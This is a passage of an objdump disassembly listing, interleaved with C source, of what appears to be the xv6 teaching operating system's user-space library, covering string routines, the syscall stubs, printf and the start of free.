eb: 5b pop %ebx ec: 5d pop %ebp ed: c3 ret ee: 0f b6 09 movzbl (%ecx),%ecx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) f1: 31 c0 xor %eax,%eax f3: eb f4 jmp e9 <strcmp+0x39> f5: 0f b6 cb movzbl %bl,%ecx f8: eb ef jmp e9 <strcmp+0x39> fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000100 <strlen>: return (uchar)*p - (uchar)*q; } uint strlen(const char *s) { 100: 55 push %ebp 101: 89 e5 mov %esp,%ebp 103: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 106: 80 39 00 cmpb $0x0,(%ecx) 109: 74 12 je 11d <strlen+0x1d> 10b: 31 d2 xor %edx,%edx 10d: 8d 76 00 lea 0x0(%esi),%esi 110: 83 c2 01 add $0x1,%edx 113: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 117: 89 d0 mov %edx,%eax 119: 75 f5 jne 110 <strlen+0x10> ; return n; } 11b: 5d pop %ebp 11c: c3 ret uint strlen(const char *s) { int n; for(n = 0; s[n]; n++) 11d: 31 c0 xor %eax,%eax ; return n; } 11f: 5d pop %ebp 120: c3 ret 121: eb 0d jmp 130 <memset> 123: 90 nop 124: 90 nop 125: 90 nop 126: 90 nop 127: 90 nop 128: 90 nop 129: 90 nop 12a: 90 nop 12b: 90 nop 12c: 90 nop 12d: 90 nop 12e: 90 nop 12f: 90 nop 00000130 <memset>: void* memset(void *dst, int c, uint n) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp 133: 8b 55 08 mov 0x8(%ebp),%edx 136: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 137: 8b 4d 10 mov 0x10(%ebp),%ecx 13a: 8b 45 0c mov 0xc(%ebp),%eax 13d: 89 d7 mov %edx,%edi 13f: fc cld 140: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 142: 89 d0 mov %edx,%eax 144: 5f pop %edi 145: 5d pop %ebp 146: c3 ret 147: 89 f6 mov %esi,%esi 149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000150 <strchr>: char* strchr(const char *s, char c) { 150: 55 push %ebp 151: 89 e5 mov %esp,%ebp 153: 8b 45 08 mov 0x8(%ebp),%eax 156: 53 push %ebx 157: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 15a: 0f b6 18 movzbl (%eax),%ebx 15d: 84 db test %bl,%bl 15f: 74 1d je 17e <strchr+0x2e> if(*s == c) 161: 38 d3 cmp %dl,%bl 163: 89 d1 mov %edx,%ecx 165: 75 0d jne 174 <strchr+0x24> 167: eb 17 jmp 180 <strchr+0x30> 169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 170: 38 ca cmp %cl,%dl 172: 74 0c je 180 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 174: 83 c0 01 add $0x1,%eax 177: 0f b6 10 movzbl (%eax),%edx 17a: 84 d2 test %dl,%dl 17c: 75 f2 jne 170 <strchr+0x20> if(*s == c) return (char*)s; return 0; 17e: 31 c0 xor %eax,%eax } 180: 5b pop %ebx 181: 5d pop %ebp 182: c3 ret 183: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000190 <gets>: char* gets(char *buf, int max) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 57 push %edi 194: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 195: 31 f6 xor %esi,%esi return 0; } char* gets(char *buf, int max) { 197: 53 push %ebx 198: 83 ec 2c sub $0x2c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ cc = read(0, &c, 1); 19b: 8d 7d e7 lea -0x19(%ebp),%edi gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 19e: eb 31 jmp 1d1 <gets+0x41> cc = read(0, &c, 1); 1a0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1a7: 00 1a8: 89 7c 24 04 mov %edi,0x4(%esp) 1ac: c7 04 24 00 00 00 00 movl $0x0,(%esp) 1b3: e8 02 01 00 00 call 2ba <read> if(cc < 1) 1b8: 85 c0 test %eax,%eax 1ba: 7e 1d jle 1d9 <gets+0x49> break; buf[i++] = c; 1bc: 0f b6 45 e7 movzbl -0x19(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1c0: 89 de mov %ebx,%esi cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 1c2: 8b 55 08 mov 0x8(%ebp),%edx if(c == '\n' || c == '\r') 1c5: 3c 0d cmp $0xd,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 1c7: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 1cb: 74 0c je 1d9 <gets+0x49> 1cd: 3c 0a cmp $0xa,%al 1cf: 74 08 je 1d9 <gets+0x49> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1d1: 8d 5e 01 lea 0x1(%esi),%ebx 1d4: 3b 5d 0c cmp 0xc(%ebp),%ebx 1d7: 7c c7 jl 1a0 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1d9: 8b 45 08 mov 0x8(%ebp),%eax 1dc: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1e0: 83 c4 2c add $0x2c,%esp 1e3: 5b pop %ebx 1e4: 5e pop %esi 1e5: 5f pop %edi 1e6: 5d pop %ebp 1e7: c3 ret 1e8: 90 nop 1e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000001f0 <stat>: int stat(const char *n, struct stat *st) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 56 push %esi 1f4: 53 push %ebx 1f5: 83 ec 10 sub $0x10,%esp int fd; int r; fd = open(n, O_RDONLY); 1f8: 8b 45 08 mov 0x8(%ebp),%eax 1fb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 202: 00 203: 89 04 24 mov %eax,(%esp) 206: e8 d7 00 00 00 call 2e2 <open> if(fd < 0) 20b: 85 c0 test %eax,%eax stat(const char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 20d: 89 c3 mov %eax,%ebx if(fd < 0) 20f: 78 27 js 238 <stat+0x48> return -1; r = fstat(fd, st); 211: 8b 45 0c mov 0xc(%ebp),%eax 214: 89 1c 24 mov %ebx,(%esp) 217: 89 44 24 04 mov %eax,0x4(%esp) 21b: e8 da 00 00 00 call 2fa <fstat> close(fd); 220: 89 1c 24 mov %ebx,(%esp) int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; r = fstat(fd, st); 223: 89 c6 mov %eax,%esi close(fd); 225: e8 a0 00 00 00 call 2ca <close> return r; 22a: 89 f0 mov %esi,%eax } 22c: 83 c4 10 add $0x10,%esp 22f: 5b pop %ebx 230: 5e pop %esi 231: 5d pop %ebp 232: c3 ret 233: 90 nop 234: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 238: b8 ff ff ff ff mov $0xffffffff,%eax 23d: eb ed jmp 22c <stat+0x3c> 23f: 90 nop 00000240 <atoi>: return r; } int atoi(const char *s) { 240: 55 push %ebp 241: 89 e5 mov %esp,%ebp 243: 8b 4d 08 mov 0x8(%ebp),%ecx 246: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 247: 0f be 11 movsbl (%ecx),%edx 24a: 8d 42 d0 lea -0x30(%edx),%eax 24d: 3c 09 cmp $0x9,%al int atoi(const char *s) { int n; n = 0; 24f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 254: 77 17 ja 26d <atoi+0x2d> 256: 66 90 xchg %ax,%ax n = n*10 + *s++ - '0'; 258: 83 c1 01 add $0x1,%ecx 25b: 8d 04 80 lea (%eax,%eax,4),%eax 25e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 262: 0f be 11 movsbl (%ecx),%edx 265: 8d 5a d0 lea -0x30(%edx),%ebx 268: 80 fb 09 cmp $0x9,%bl 26b: 76 eb jbe 258 <atoi+0x18> n = n*10 + *s++ - '0'; return n; } 26d: 5b pop %ebx 26e: 5d pop %ebp 26f: c3 ret 00000270 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 270: 55 push %ebp char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 271: 31 d2 xor %edx,%edx return n; } void* memmove(void *vdst, const void *vsrc, int n) { 273: 89 e5 mov %esp,%ebp 275: 56 push %esi 276: 8b 45 08 mov 0x8(%ebp),%eax 279: 53 push %ebx 27a: 8b 5d 10 mov 0x10(%ebp),%ebx 27d: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 280: 85 db test %ebx,%ebx 282: 7e 12 jle 296 <memmove+0x26> 284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 288: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 28c: 88 0c 10 mov %cl,(%eax,%edx,1) 28f: 83 c2 01 add $0x1,%edx char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 292: 39 da cmp %ebx,%edx 294: 75 f2 jne 288 <memmove+0x18> *dst++ = *src++; return vdst; } 296: 5b pop %ebx 297: 5e pop %esi 298: 5d pop %ebp 299: c3 ret 0000029a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 29a: b8 01 00 00 00 mov $0x1,%eax 29f: cd 40 int $0x40 2a1: c3 ret 000002a2 <exit>: SYSCALL(exit) 2a2: b8 02 00 00 00 mov $0x2,%eax 2a7: cd 40 int $0x40 2a9: c3 ret 000002aa <wait>: SYSCALL(wait) 2aa: b8 03 00 00 00 mov $0x3,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <pipe>: SYSCALL(pipe) 2b2: b8 04 00 00 00 mov $0x4,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <read>: SYSCALL(read) 2ba: b8 05 00 00 00 mov $0x5,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <write>: SYSCALL(write) 2c2: b8 10 00 00 00 mov $0x10,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <close>: SYSCALL(close) 2ca: b8 15 00 00 00 mov $0x15,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <kill>: SYSCALL(kill) 2d2: b8 06 00 00 00 mov $0x6,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <exec>: SYSCALL(exec) 2da: b8 07 00 00 00 mov $0x7,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <open>: SYSCALL(open) 2e2: b8 0f 00 00 00 mov $0xf,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <mknod>: SYSCALL(mknod) 2ea: b8 11 00 00 00 mov $0x11,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <unlink>: SYSCALL(unlink) 2f2: b8 12 00 00 00 mov $0x12,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <fstat>: SYSCALL(fstat) 2fa: b8 08 00 00 00 mov $0x8,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <link>: SYSCALL(link) 302: b8 13 00 00 00 mov $0x13,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <mkdir>: SYSCALL(mkdir) 30a: b8 14 00 00 00 mov $0x14,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <chdir>: SYSCALL(chdir) 312: b8 09 00 00 00 mov $0x9,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <dup>: SYSCALL(dup) 31a: b8 0a 00 00 00 mov $0xa,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <getpid>: SYSCALL(getpid) 322: b8 0b 00 00 00 mov $0xb,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <sbrk>: SYSCALL(sbrk) 32a: b8 0c 00 00 00 mov $0xc,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <sleep>: SYSCALL(sleep) 332: b8 0d 00 00 00 mov $0xd,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <uptime>: SYSCALL(uptime) 33a: b8 0e 00 00 00 mov $0xe,%eax 33f: cd 40 int $0x40 341: c3 ret 342: 66 90 xchg %ax,%ax 344: 66 90 xchg %ax,%ax 346: 66 90 xchg %ax,%ax 348: 66 90 xchg %ax,%ax 34a: 66 90 xchg %ax,%ax 34c: 66 90 xchg %ax,%ax 34e: 66 90 xchg %ax,%ax 00000350 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 350: 55 push %ebp 351: 89 e5 mov %esp,%ebp 353: 57 push %edi 354: 56 push %esi 355: 89 c6 mov %eax,%esi 357: 53 push %ebx 358: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 35b: 8b 5d 08 mov 0x8(%ebp),%ebx 35e: 85 db test %ebx,%ebx 360: 74 09 je 36b <printint+0x1b> 362: 89 d0 mov %edx,%eax 364: c1 e8 1f shr $0x1f,%eax 367: 84 c0 test %al,%al 369: 75 75 jne 3e0 <printint+0x90> neg = 1; x = -xx; } else { x = xx; 36b: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 36d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 374: 89 75 c0 mov %esi,-0x40(%ebp) x = -xx; } else { x = xx; } i = 0; 377: 31 ff xor %edi,%edi 379: 89 ce mov %ecx,%esi 37b: 8d 5d d7 lea -0x29(%ebp),%ebx 37e: eb 02 jmp 382 <printint+0x32> do{ buf[i++] = digits[x % base]; 380: 89 cf mov %ecx,%edi 382: 31 d2 xor %edx,%edx 384: f7 f6 div %esi 386: 8d 4f 01 lea 0x1(%edi),%ecx 389: 0f b6 92 90 07 00 00 movzbl 0x790(%edx),%edx }while((x /= base) != 0); 390: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 392: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 395: 75 e9 jne 380 <printint+0x30> if(neg) 397: 8b 55 c4 mov -0x3c(%ebp),%edx x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 39a: 89 c8 mov %ecx,%eax 39c: 8b 75 c0 mov -0x40(%ebp),%esi }while((x /= base) != 0); if(neg) 39f: 85 d2 test %edx,%edx 3a1: 74 08 je 3ab <printint+0x5b> buf[i++] = '-'; 3a3: 8d 4f 02 lea 0x2(%edi),%ecx 3a6: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 3ab: 8d 79 ff lea -0x1(%ecx),%edi 3ae: 66 90 xchg %ax,%ax 3b0: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax 3b5: 83 ef 01 sub $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 3b8: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 3bf: 00 3c0: 89 5c 24 04 mov %ebx,0x4(%esp) 3c4: 89 34 24 mov %esi,(%esp) 3c7: 88 45 d7 mov %al,-0x29(%ebp) 3ca: e8 f3 fe ff ff call 2c2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 3cf: 83 ff ff cmp $0xffffffff,%edi 3d2: 75 dc jne 3b0 <printint+0x60> putc(fd, buf[i]); } 3d4: 83 c4 4c add $0x4c,%esp 3d7: 5b pop %ebx 3d8: 5e pop %esi 3d9: 5f pop %edi 3da: 5d pop %ebp 3db: c3 ret 3dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 3e0: 89 d0 mov %edx,%eax 3e2: f7 d8 neg %eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 3e4: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 3eb: eb 87 jmp 374 <printint+0x24> 3ed: 8d 76 00 lea 0x0(%esi),%esi 000003f0 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3f0: 55 push %ebp 3f1: 89 e5 mov %esp,%ebp 3f3: 57 push %edi char *s; int c, i, state; uint *ap; state = 0; 3f4: 31 ff xor %edi,%edi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3f6: 56 push %esi 3f7: 53 push %ebx 3f8: 83 ec 3c sub $0x3c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 3fb: 8b 5d 0c mov 0xc(%ebp),%ebx char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 3fe: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 401: 8b 75 08 mov 0x8(%ebp),%esi char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 404: 89 45 d4 mov %eax,-0x2c(%ebp) for(i = 0; fmt[i]; i++){ 407: 0f b6 13 movzbl (%ebx),%edx 40a: 83 c3 01 add $0x1,%ebx 40d: 84 d2 test %dl,%dl 40f: 75 39 jne 44a <printf+0x5a> 411: e9 c2 00 00 00 jmp 4d8 <printf+0xe8> 416: 66 90 xchg %ax,%ax c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 418: 83 fa 25 cmp $0x25,%edx 41b: 0f 84 bf 00 00 00 je 4e0 <printf+0xf0> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 421: 8d 45 e2 lea -0x1e(%ebp),%eax 424: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 42b: 00 42c: 89 44 24 04 mov %eax,0x4(%esp) 430: 89 34 24 mov %esi,(%esp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; } else { putc(fd, c); 433: 88 55 e2 mov %dl,-0x1e(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 436: e8 87 fe ff ff call 2c2 <write> 43b: 83 c3 01 add $0x1,%ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 43e: 0f b6 53 ff movzbl -0x1(%ebx),%edx 442: 84 d2 test %dl,%dl 444: 0f 84 8e 00 00 00 je 4d8 <printf+0xe8> c = fmt[i] & 0xff; if(state == 0){ 44a: 85 ff test %edi,%edi uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 44c: 0f be c2 movsbl %dl,%eax if(state == 0){ 44f: 74 c7 je 418 <printf+0x28> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 451: 83 ff 25 cmp $0x25,%edi 454: 75 e5 jne 43b <printf+0x4b> if(c == 'd'){ 456: 83 fa 64 cmp $0x64,%edx 459: 0f 84 31 01 00 00 je 590 <printf+0x1a0> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 45f: 25 f7 00 00 00 and $0xf7,%eax 464: 83 f8 70 cmp $0x70,%eax 467: 0f 84 83 00 00 00 je 4f0 <printf+0x100> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 46d: 83 fa 73 cmp $0x73,%edx 470: 0f 84 a2 00 00 00 je 518 <printf+0x128> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 476: 83 fa 63 cmp $0x63,%edx 479: 0f 84 35 01 00 00 je 5b4 <printf+0x1c4> putc(fd, *ap); ap++; } else if(c == '%'){ 47f: 83 fa 25 cmp $0x25,%edx 482: 0f 84 e0 00 00 00 je 568 <printf+0x178> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 488: 8d 45 e6 lea -0x1a(%ebp),%eax 48b: 83 c3 01 add $0x1,%ebx 48e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 495: 00 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 496: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 498: 89 44 24 04 mov %eax,0x4(%esp) 49c: 89 34 24 mov %esi,(%esp) 49f: 89 55 d0 mov %edx,-0x30(%ebp) 4a2: c6 45 e6 25 movb $0x25,-0x1a(%ebp) 4a6: e8 17 fe ff ff call 2c2 <write> } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 4ab: 8b 55 d0 mov -0x30(%ebp),%edx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4ae: 8d 45 e7 lea -0x19(%ebp),%eax 4b1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4b8: 00 4b9: 89 44 24 04 mov %eax,0x4(%esp) 4bd: 89 34 24 mov %esi,(%esp) } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 4c0: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4c3: e8 fa fd ff ff call 2c2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4c8: 0f b6 53 ff movzbl -0x1(%ebx),%edx 4cc: 84 d2 test %dl,%dl 4ce: 0f 85 76 ff ff ff jne 44a <printf+0x5a> 4d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, c); } state = 0; } } } 4d8: 83 c4 3c add $0x3c,%esp 4db: 5b pop %ebx 4dc: 5e pop %esi 4dd: 5f pop %edi 4de: 5d pop %ebp 4df: c3 ret ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 4e0: bf 25 00 00 00 mov $0x25,%edi 4e5: e9 51 ff ff ff jmp 43b <printf+0x4b> 4ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 4f0: 8b 45 d4 mov -0x2c(%ebp),%eax 4f3: b9 10 00 00 00 mov $0x10,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4f8: 31 ff xor %edi,%edi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 4fa: c7 04 24 00 00 00 00 movl $0x0,(%esp) 501: 8b 10 mov (%eax),%edx 503: 89 f0 mov %esi,%eax 505: e8 46 fe ff ff call 350 <printint> ap++; 50a: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 50e: e9 28 ff ff ff jmp 43b <printf+0x4b> 513: 90 nop 514: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 518: 8b 45 d4 mov -0x2c(%ebp),%eax ap++; 51b: 83 45 d4 04 addl $0x4,-0x2c(%ebp) ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ s = (char*)*ap; 51f: 8b 38 mov (%eax),%edi ap++; if(s == 0) s = "(null)"; 521: b8 89 07 00 00 mov $0x789,%eax 526: 85 ff test %edi,%edi 528: 0f 44 f8 cmove %eax,%edi while(*s != 0){ 52b: 0f b6 07 movzbl (%edi),%eax 52e: 84 c0 test %al,%al 530: 74 2a je 55c <printf+0x16c> 532: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 538: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 53b: 8d 45 e3 lea -0x1d(%ebp),%eax ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 53e: 83 c7 01 add $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 541: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 548: 00 549: 89 44 24 04 mov %eax,0x4(%esp) 54d: 89 34 24 mov %esi,(%esp) 550: e8 6d fd ff ff call 2c2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 555: 0f b6 07 movzbl (%edi),%eax 558: 84 c0 test %al,%al 55a: 75 dc jne 538 <printf+0x148> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 55c: 31 ff xor %edi,%edi 55e: e9 d8 fe ff ff jmp 43b <printf+0x4b> 563: 90 nop 564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 568: 8d 45 e5 lea -0x1b(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 56b: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 56d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 574: 00 575: 89 44 24 04 mov %eax,0x4(%esp) 579: 89 34 24 mov %esi,(%esp) 57c: c6 45 e5 25 movb $0x25,-0x1b(%ebp) 580: e8 3d fd ff ff call 2c2 <write> 585: e9 b1 fe ff ff jmp 43b <printf+0x4b> 58a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 590: 8b 45 d4 mov -0x2c(%ebp),%eax 593: b9 0a 00 00 00 mov $0xa,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 598: 66 31 ff xor %di,%di } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 59b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 5a2: 8b 10 mov (%eax),%edx 5a4: 89 f0 mov %esi,%eax 5a6: e8 a5 fd ff ff call 350 <printint> ap++; 5ab: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 5af: e9 87 fe ff ff jmp 43b <printf+0x4b> while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 5b4: 8b 45 d4 mov -0x2c(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5b7: 31 ff xor %edi,%edi while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 5b9: 8b 00 mov (%eax),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5bb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 5c2: 00 5c3: 89 34 24 mov %esi,(%esp) while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 5c6: 88 45 e4 mov %al,-0x1c(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5c9: 8d 45 e4 lea -0x1c(%ebp),%eax 5cc: 89 44 24 04 mov %eax,0x4(%esp) 5d0: e8 ed fc ff ff call 2c2 <write> putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; 5d5: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 5d9: e9 5d fe ff ff jmp 43b <printf+0x4b> 5de: 66 90 xchg %ax,%ax 000005e0 <free>: static Header base; static Header *freep; void free(void *ap) { 5e0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5e1: a1 10 0a 00 00 mov 0xa10,%eax static Header base; static Header *freep; void free(void *ap) { 5e6: 89 e5 mov %esp,%ebp 5e8: 57 push %edi 5e9: 56 push %esi 5ea: 53 push %ebx 5eb: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5ee: 8b 08 mov (%eax),%ecx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 5f0: 8d 53 f8 lea -0x8(%ebx),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5f3: 39 d0 cmp %edx,%eax 5f5: 72 11 jb 608 <free+0x28> 5f7: 90 nop if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5f8: 39 c8 cmp %ecx,%eax 5fa: 72 04 jb 600 <free+0x20> 5fc: 39 ca cmp %ecx,%edx 5fe: 72 10 jb 610 <free+0x30> 600: 89 c8 mov %ecx,%eax free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 602: 39 d0 cmp %edx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 604: 8b 08 mov (%eax),%ecx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 606: 73 f0 jae 5f8 <free+0x18> 608: 39 ca cmp %ecx,%edx 